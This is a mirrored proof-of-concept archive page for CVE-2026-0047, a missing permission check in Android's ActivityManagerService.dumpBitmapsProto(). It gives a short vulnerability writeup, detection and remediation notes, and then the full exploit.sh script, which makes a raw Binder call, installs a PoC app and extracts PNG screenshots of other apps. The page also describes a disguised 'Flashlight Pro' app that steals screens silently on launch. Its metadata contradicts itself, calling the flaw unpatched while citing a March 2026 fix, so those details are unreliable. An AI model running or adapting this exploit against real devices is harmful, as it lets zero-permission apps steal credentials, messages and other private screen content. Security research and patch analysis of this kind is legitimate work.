PoC Archive PoC Archive
Critical CVE-2026-0047 unpatched

Android ActivityManagerService dumpBitmapsProto() Missing Permission Check (CVE-2026-0047)

by Mobile Hacking Lab (independent patch analysis / reproduction); original discovery and responsible disclosure credited to the reporting researchers per the repo's own attribution · 2026-07-05

CVSS 8.4/10
Severity
Critical
CVE
CVE-2026-0047
Category
binary
Affected product
Android system_server ActivityManagerService.dumpBitmapsProto()
Affected versions
Android 16 QPR2 Beta 1–3 ("Baklava"), security patch level before 2026-03-01
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherMobile Hacking Lab (independent patch analysis / reproduction); original discovery and responsible disclosure credited to the reporting researchers per the repo’s own attribution
CVE / AdvisoryCVE-2026-0047
Categorybinary
SeverityCritical
CVSS Score8.4 (as stated in source repository)
StatusWeaponized
Tagsandroid, activitymanagerservice, binder, missing-permission-check, information-disclosure, zero-permission, baklava, bitmap-theft
RelatedN/A

Affected Target

FieldValue
Software / SystemAndroid system_server ActivityManagerService.dumpBitmapsProto()
Versions AffectedAndroid 16 QPR2 Beta 1–3 (“Baklava”), security patch level before 2026-03-01
Language / PlatformJava / Android Binder IPC; PoC packaged as Android Studio (Gradle) apps
Authentication RequiredNo
Network Access RequiredNo

Summary

ActivityManagerService.dumpBitmapsProto() is missing an enforceCallingOrSelfPermission(DUMP) check that should gate access to a system-wide UI bitmap dump used for debugging. Because the method body executes fully before any permission is verified, any installed app — even one declaring zero permissions — can invoke the underlying Binder transaction (code #117 on the activity service) directly via IBinder.transact() and receive a protobuf stream of PNG-encoded UI bitmaps captured from every running process on the device. The repository ships both an “audit tool” style PoC app that demonstrates the raw Binder call and bitmap extraction, and a disguised “Flashlight Pro” attacker app that performs the same exfiltration silently on launch while declaring no permissions at all, plus a one-shot shell script that automates emulator setup, build, and exploitation end-to-end.


Vulnerability Details

Root Cause

dumpBitmapsProto() in ActivityManagerService omits the enforceCallingOrSelfPermission(android.permission.DUMP) guard that equivalent debug-dump methods enforce, so any caller — regardless of granted permissions — reaches the bitmap-collection logic (CWE-280: Improper Handling of Insufficient Permissions).

Attack Vector

  1. Attacker probes Binder transaction code #117 on the activity service with an empty Parcel; a NullPointerException (rather than a SecurityException) confirms the method body executes without a permission check.
  2. Attacker crafts a full Parcel — interface token android.app.IActivityManager, a non-null marker plus a ParcelFileDescriptor write-end, an empty process-name array (meaning “all processes”), userId = -2 (USER_CURRENT), dumpAll = true, and format = "png" — and sends it via IBinder.transact(), bypassing hidden-API restrictions entirely since no framework API is used.
  3. ActivityManagerService writes protobuf-encoded data containing PNG bitmaps from every running app’s UI to the supplied pipe.
  4. Attacker’s app reads the pipe, scans for PNG magic bytes (89 50 4E 47) and IEND trailers, and reassembles individual images captured from other apps’ current UI state.
  5. In the disguised-app variant, this entire flow runs automatically and silently at app launch with zero declared permissions.

Impact

A zero-permission app can passively steal rendered UI screenshots (potentially containing PII, credentials, banking data, messages, etc.) from every other running app on the device without any user interaction or granted permission.


Environment / Lab Setup

Target:   Android 16 QPR2 Beta ("Baklava") emulator/device, security patch level before 2026-03-01
Attacker: Android Studio / Gradle, adb, Android SDK (system-images;android-Baklava;google_apis;arm64-v8a)

Proof of Concept

PoC Script

See exploit.sh, app/ (PoC audit-tool app), and attacker/ (disguised “Flashlight Pro” app) in this folder.

1
2
3
./exploit.sh --setup-emulator

./exploit.sh

exploit.sh builds and installs the PoC app(s), triggers the raw Binder call against dumpBitmapsProto(), and extracts the resulting PNG bitmaps from the returned protobuf stream. Pre-built APKs (apk/cve-2026-0047-poc.apk and apk/flashlight-pro-attacker.apk) are also included for installing and running the PoC directly with adb install/adb shell am start without building from source.


Detection & Indicators of Compromise

Signs of compromise:

  • Newly installed apps with no camera/screen-capture permissions producing screenshot-like image files
  • Apps invoking low-level Binder transactions against ActivityManagerService outside normal framework API usage
  • Anomalous system_server activity correlated with third-party app launches on unpatched Baklava builds

Remediation

ActionDetail
Primary fixApply the Android March 2026 Security Bulletin update, which adds enforceCallingOrSelfPermission(DUMP) as the first line of dumpBitmapsProto()
Interim mitigationAvoid running Android 16 QPR2 Beta builds with a pre-2026-03-01 patch level on devices handling sensitive data; restrict sideloading of untrusted apps until patched

References


Notes

Mirrored from https://github.com/mobilehackinglab/CVE-2026-0047-poc on 2026-07-05.

exploit.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
#!/usr/bin/env bash
# ──────────────────────────────────────────────────────────────────────────────
# CVE-2026-0047 — Single-Shot PoC Exploit Script
#
# Exploits the missing permission check in ActivityManagerService.dumpBitmapsProto()
# on Android 16 QPR2 Beta (Baklava) to steal bitmaps from all running apps.
#
# Prerequisites:
#   - Android SDK with emulator, platform-tools, and build-tools installed
#   - Java 17+
#   - A running Baklava emulator (see setup below) or ADB-connected device
#     with security patch < 2026-03-01
#
# Emulator setup (one-time):
#   sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
#   avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
#   emulator -avd baklava &
#
# Usage:
#   chmod +x exploit.sh
#   ./exploit.sh                    # build, install, exploit, pull results
#   ./exploit.sh --skip-build       # skip build, just run exploit on device
#   ./exploit.sh --setup-emulator   # create and boot emulator first
# ──────────────────────────────────────────────────────────────────────────────
set -euo pipefail

RED='\033[0;31m'
GRN='\033[0;32m'
CYN='\033[0;36m'
YLW='\033[1;33m'
RST='\033[0m'

log()  { echo -e "${CYN}[*]${RST} $1"; }
ok()   { echo -e "${GRN}[+]${RST} $1"; }
warn() { echo -e "${YLW}[!]${RST} $1"; }
err()  { echo -e "${RED}[-]${RST} $1"; }
die()  { err "$1"; exit 1; }

SKIP_BUILD=false
SETUP_EMU=false
OUTPUT_DIR="./stolen_bitmaps"

for arg in "$@"; do
    case "$arg" in
        --skip-build)      SKIP_BUILD=true ;;
        --setup-emulator)  SETUP_EMU=true ;;
        *)                 die "Unknown argument: $arg" ;;
    esac
done

# ── Emulator setup ──────────────────────────────────────────────────────────
if $SETUP_EMU; then
    log "Setting up Baklava emulator..."
    echo ""
    warn "Downloading Android 16 QPR2 Beta system image (~2GB)..."
    sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a" || \
        die "Failed to download system image. Run: sdkmanager --list | grep Baklava"

    log "Creating AVD 'baklava-vuln'..."
    echo "no" | avdmanager create avd \
        -n baklava-vuln \
        -k "system-images;android-Baklava;google_apis;arm64-v8a" \
        --force

    log "Booting emulator..."
    emulator -avd baklava-vuln -no-snapshot-load -gpu swiftshader_indirect &
    EMU_PID=$!

    log "Waiting for emulator to boot (this takes 1-3 minutes)..."
    adb wait-for-device
    while [ "$(adb shell getprop sys.boot_completed 2>/dev/null)" != "1" ]; do
        sleep 2
    done
    ok "Emulator booted (PID $EMU_PID)"
    echo ""
fi

# ── Preflight checks ────────────────────────────────────────────────────────
log "Checking prerequisites..."

command -v adb >/dev/null 2>&1 || die "adb not found. Install Android SDK platform-tools."

adb get-state >/dev/null 2>&1 || die "No device connected. Boot an emulator first:
    sdkmanager 'system-images;android-Baklava;google_apis;arm64-v8a'
    avdmanager create avd -n baklava -k 'system-images;android-Baklava;google_apis;arm64-v8a'
    emulator -avd baklava &"

PATCH_LEVEL=$(adb shell getprop ro.build.version.security_patch 2>/dev/null)
BUILD=$(adb shell getprop ro.build.display.id 2>/dev/null)
SDK=$(adb shell getprop ro.build.version.sdk 2>/dev/null)

echo ""
echo "  Device:       $(adb shell getprop ro.product.model)"
echo "  Build:        $BUILD"
echo "  SDK:          $SDK"
echo "  Patch level:  $PATCH_LEVEL"
echo ""

if [[ "$PATCH_LEVEL" > "2026-02-28" ]] && [[ "$PATCH_LEVEL" != "2025"* ]]; then
    warn "Patch level $PATCH_LEVEL >= 2026-03-01 — device may be patched."
    warn "The exploit will still run but expect SecurityException."
    echo ""
fi

# No hidden_api_policy needed — raw Binder transact bypasses hidden API entirely
echo ""

# ── Phase 1: Raw Binder probe ───────────────────────────────────────────────
log "Phase 1: Raw Binder transaction probe..."
log "Sending transaction #117 (dumpBitmapsProto) to IActivityManager..."
echo ""

PROBE=$(adb shell "service call activity 117" 2>&1)

if echo "$PROBE" | grep -qi "SecurityException\|Permission.Denial"; then
    err "PATCHED: SecurityException returned."
    err "This device enforces DUMP permission on dumpBitmapsProto()."
    echo ""
    echo "$PROBE"
    exit 0
fi

if echo "$PROBE" | grep -qi "dumpBitmapsProto\|ActivityManagerService\|NullPointerException"; then
    ok "METHOD REACHED — no SecurityException!"
    ok "CVE-2026-0047 confirmed: dumpBitmapsProto() has no permission check."
elif echo "$PROBE" | grep -q "fffffffc"; then
    ok "Binder returned error code but NO SecurityException."
    ok "Method was dispatched without permission check."
else
    warn "Unexpected response. Continuing with Phase 2..."
fi
echo ""

# ── Phase 2: Build the PoC app ──────────────────────────────────────────────
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
APK_PATH="$SCRIPT_DIR/app/build/outputs/apk/debug/app-debug.apk"

if ! $SKIP_BUILD; then
    if [ -f "$SCRIPT_DIR/gradlew" ]; then
        log "Phase 2: Building PoC APK..."
        cd "$SCRIPT_DIR"
        chmod +x gradlew
        ./gradlew :app:assembleDebug -q 2>&1 | tail -3
        ok "APK built: $APK_PATH"
    else
        die "gradlew not found in $SCRIPT_DIR. Run from the PoC project root."
    fi
else
    log "Phase 2: Skipping build (--skip-build)"
    [ -f "$APK_PATH" ] || die "APK not found at $APK_PATH. Run without --skip-build first."
fi
echo ""

# ── Phase 3: Install and exploit ────────────────────────────────────────────
log "Phase 3: Installing PoC app..."
adb install -r "$APK_PATH" 2>&1 | grep -v "^$"
ok "Installed com.poc.cve20260047"
echo ""

log "Opening Settings app (target with visible UI bitmaps)..."
adb shell am start -n com.android.settings/.Settings >/dev/null 2>&1
sleep 2

log "Launching PoC exploit..."
adb shell am start -n com.poc.cve20260047/.MainActivity >/dev/null 2>&1
sleep 2

# Find the exploit button and tap it
log "Triggering dumpBitmapsProto() exploit via UI..."
adb shell uiautomator dump /sdcard/poc_ui.xml >/dev/null 2>&1
BOUNDS=$(adb shell cat /sdcard/poc_ui.xml 2>/dev/null | \
    grep -o 'resource-id="com.poc.cve20260047:id/btnRealCve"[^>]*' | \
    grep -o 'bounds="\[[0-9]*,[0-9]*\]\[[0-9]*,[0-9]*\]"' | \
    grep -o '\[.*\]' || true)

if [ -n "$BOUNDS" ]; then
    X1=$(echo "$BOUNDS" | sed 's/\[\([0-9]*\),.*/\1/')
    Y1=$(echo "$BOUNDS" | sed 's/\[[0-9]*,\([0-9]*\)\].*/\1/')
    X2=$(echo "$BOUNDS" | sed 's/.*\[\([0-9]*\),.*/\1/')
    Y2=$(echo "$BOUNDS" | sed 's/.*\[[0-9]*,\([0-9]*\)\]/\1/')
    TX=$(( (X1 + X2) / 2 ))
    TY=$(( (Y1 + Y2) / 2 ))
    adb shell input tap "$TX" "$TY"
    ok "Tapped exploit button at ($TX, $TY)"
else
    warn "Could not find button via uiautomator, trying default coordinates..."
    adb shell input tap 540 736
fi

log "Waiting for exploit to complete (up to 20 seconds)..."
sleep 20
echo ""

# ── Phase 4: Extract results ────────────────────────────────────────────────
log "Phase 4: Extracting stolen bitmaps..."
mkdir -p "$OUTPUT_DIR"

FILE_COUNT=$(adb shell "run-as com.poc.cve20260047 ls files/ 2>/dev/null" | grep -c "stolen_bitmap_" || true)
BIN_SIZE=$(adb shell "run-as com.poc.cve20260047 stat -c%s files/stolen_bitmaps.bin 2>/dev/null" || echo "0")

if [ "$FILE_COUNT" -gt 0 ] 2>/dev/null; then
    ok "Found $FILE_COUNT stolen PNG files on device!"
    echo ""

    for f in $(adb shell "run-as com.poc.cve20260047 ls files/" 2>/dev/null | grep "stolen_bitmap_.*\.png"); do
        f=$(echo "$f" | tr -d '\r')
        adb shell "run-as com.poc.cve20260047 cat files/$f" > "$OUTPUT_DIR/$f" 2>/dev/null
    done

    adb shell "run-as com.poc.cve20260047 cat files/stolen_bitmaps.bin" > "$OUTPUT_DIR/raw_protobuf.bin" 2>/dev/null

    VALID=0
    for png in "$OUTPUT_DIR"/stolen_bitmap_*.png; do
        if file "$png" 2>/dev/null | grep -q "PNG image"; then
            VALID=$((VALID + 1))
        fi
    done

    echo ""
    echo "  ══════════════════════════════════════════"
    echo "  CVE-2026-0047 EXPLOIT RESULTS"
    echo "  ══════════════════════════════════════════"
    echo ""
    echo "  Device:           $(adb shell getprop ro.product.model)"
    echo "  Build:            $BUILD"
    echo "  Patch level:      $PATCH_LEVEL"
    echo ""
    echo "  Raw protobuf:     $BIN_SIZE bytes"
    echo "  PNG files:        $FILE_COUNT extracted"
    echo "  Valid PNGs:       $VALID confirmed"
    echo "  Output dir:       $OUTPUT_DIR/"
    echo ""
    echo "  Permissions used: NONE"
    echo ""
    echo "  ══════════════════════════════════════════"
    echo ""

    ok "Stolen bitmaps saved to $OUTPUT_DIR/"
    log "View them with: open $OUTPUT_DIR/ (macOS) or xdg-open $OUTPUT_DIR/ (Linux)"
    echo ""

    ls -lhS "$OUTPUT_DIR"/stolen_bitmap_*.png 2>/dev/null | head -10
    echo ""

else
    warn "No bitmap files found. Checking logcat for exploit status..."
    echo ""
    adb logcat -d | grep -i "CVE-PoC\|dumpBitmap\|SecurityException" | tail -20
    echo ""

    # Take screenshot of result
    adb shell screencap -p /sdcard/poc_result.png 2>/dev/null
    adb pull /sdcard/poc_result.png "$OUTPUT_DIR/exploit_screenshot.png" 2>/dev/null
    log "Screenshot saved to $OUTPUT_DIR/exploit_screenshot.png"
fi